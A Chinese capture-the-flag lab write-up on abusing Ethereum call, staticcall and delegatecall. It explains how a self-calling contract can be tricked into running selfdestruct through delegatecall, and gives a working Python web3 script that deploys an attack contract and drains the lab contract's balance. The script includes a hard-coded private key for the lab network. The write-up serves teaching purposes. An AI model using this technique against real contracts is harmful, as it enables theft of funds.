某60区块链安全之Call函数簇滥用实战二学习记录

区块链安全

文章目录


Call函数簇滥用实战二

实验目的

学会使用python3的web3模块

学会并区分以太坊call、staticcall、delegatecall三种函数调用的特点

找到合约漏洞进行分析并形成利用

实验环境

Ubuntu18.04操作机

实验工具

python3

实验原理

call调用,最常用的调用方式,调用后内置变量msg的值会修改为调用者,执行环境为被调用者的运行环境

delegatecall调用,调用后内置变量msg的值不会修改为调用者,但执行环境为调用者的运行环境

staticcall调用,调用之后不能改变合约状态,否则交易会回滚

实验内容

合约中使用到了call、delegatecall、staticcall函数调用,找到合约漏洞并形成利用,把合约余额清空即可

使用python3的web3模块远程利用漏洞并获取flag

实验地址为nc ip 10006

实验步骤

获取合约地址和合约源代码

nc ip 10006连接到题目,输入1,获取部署合约的game account及token

打开http://ip,输入上述分配的game account,点击Request获取eth


nc ip 10006连接到题目,输入2,获取部署合约的地址及new token

nc ip 10006连接到题目,输入4,获取合约源代码,或者在题目附件找到合约源代码

分析合约源代码漏洞

题目要求清空合约余额

先分析程序主要逻辑:首先拿calldata,staticcall自己,保证交易正常进行不会revert回滚;其次拿calldata,call自己,这个时候自己调用自己,会执行delegatecall逻辑;题目要求清空合约余额,可以借助delegatecall直接destruct合约

所以设计一个攻击合约,只需要满足staticcall的时候不改变合约状态,delegatecall的时候执行selfdestruct即可,由于是0.6.12版本,可借助try catch实现。

EXP利用

用python编写自动化exp,功能包括部署攻击合约得到攻击合约地址,将其作为题目合约的hack函数参数进行调用即可

bash 复制代码
from web3 import Web3, HTTPProvider
from solcx import compile_source,set_solc_version_pragma
import time

w3 = Web3(Web3.HTTPProvider('http://192.168.2.102:8545'))

contract_address = "0xE7f096F94e7BCa204A673319510FB051E526a70E"
private = "92b562f4dcb430f547401f31b5d1074e6791ec37786f449497c4f9563abef3fb"
public = "0x75e65F3C1BB334ab927168Bd49F5C44fbB4D480f"

def generate_tx(chainID, to, data, value):
    txn = {
        'chainId': chainID,
        'from': Web3.toChecksumAddress(public),
        'to': to,
        'gasPrice': w3.eth.gasPrice,
        'gas': 3000000,
        'nonce': w3.eth.getTransactionCount(Web3.toChecksumAddress(public)),
        'value': Web3.toWei(value, 'ether'),
        'data': data,
    }
    return txn

def sign_and_send(txn):
    signed_txn = w3.eth.account.signTransaction(txn, private)
    txn_hash = w3.eth.sendRawTransaction(signed_txn.rawTransaction).hex()
    txn_receipt = w3.eth.waitForTransactionReceipt(txn_hash)
    print("txn_hash=", txn_hash)
    return txn_receipt

set_solc_version_pragma('^0.6.12')
with open('./attack.sol', 'r') as f:
    SRC_TEXT = f.read()
compiled_sol = compile_source(SRC_TEXT)
CONT_IF = compiled_sol['<stdin>:Solver']

txn = generate_tx(8888, '', CONT_IF['bin'], 0)
txn_receipt = sign_and_send(txn)
hack_address = txn_receipt['contractAddress']
print('hack_address =',hack_address)

time.sleep(5)

data = Web3.keccak(text='Hack(address)').hex()[:10]
data += hack_address[2:].rjust(64, '0')  # Hack(address)
txn = generate_tx(8888, Web3.toChecksumAddress(contract_address), data, 0)
print(sign_and_send(txn))

执行exp

nc ip 10006连接到题目,输入3,输入之前的new token,获取flag

相关推荐
知识分享小能手1 分钟前
uni-app 入门学习教程,从入门到精通,uni-app 基础知识详解 (2)
前端·javascript·windows·学习·微信小程序·小程序·uni-app
曼城的天空是蓝色的26 分钟前
在环境条件下通过学习基于不同角度的交互信息来实现行人轨迹预测
学习
阳光宅男@李光熠36 分钟前
【质量管理】构建供应链韧性的第一道防线——高风险供应商的识别
笔记·学习
梵得儿SHI1 小时前
Java 反射机制深度剖析:性能与安全性的那些坑
java·开发语言·安全·反射·动态代理·性能·反射机制
凉、介1 小时前
ARM 总线技术 —— AMBA 入门
arm开发·笔记·学习
日更嵌入式的打工仔2 小时前
嵌入式入门:APP+BSP+HAL 三层分级架构浅析
笔记·单片机·嵌入式硬件·学习
来旺2 小时前
互联网大厂Java面试全解析及三轮问答专项
java·数据库·spring boot·安全·缓存·微服务·面试
since �2 小时前
前端转Java,从0到1学习教程
java·前端·学习
OliverH-yishuihan2 小时前
FPGA 入门 3 个月学习计划表
学习·fpga开发
weixin_405023372 小时前
webpack 学习
前端·学习·webpack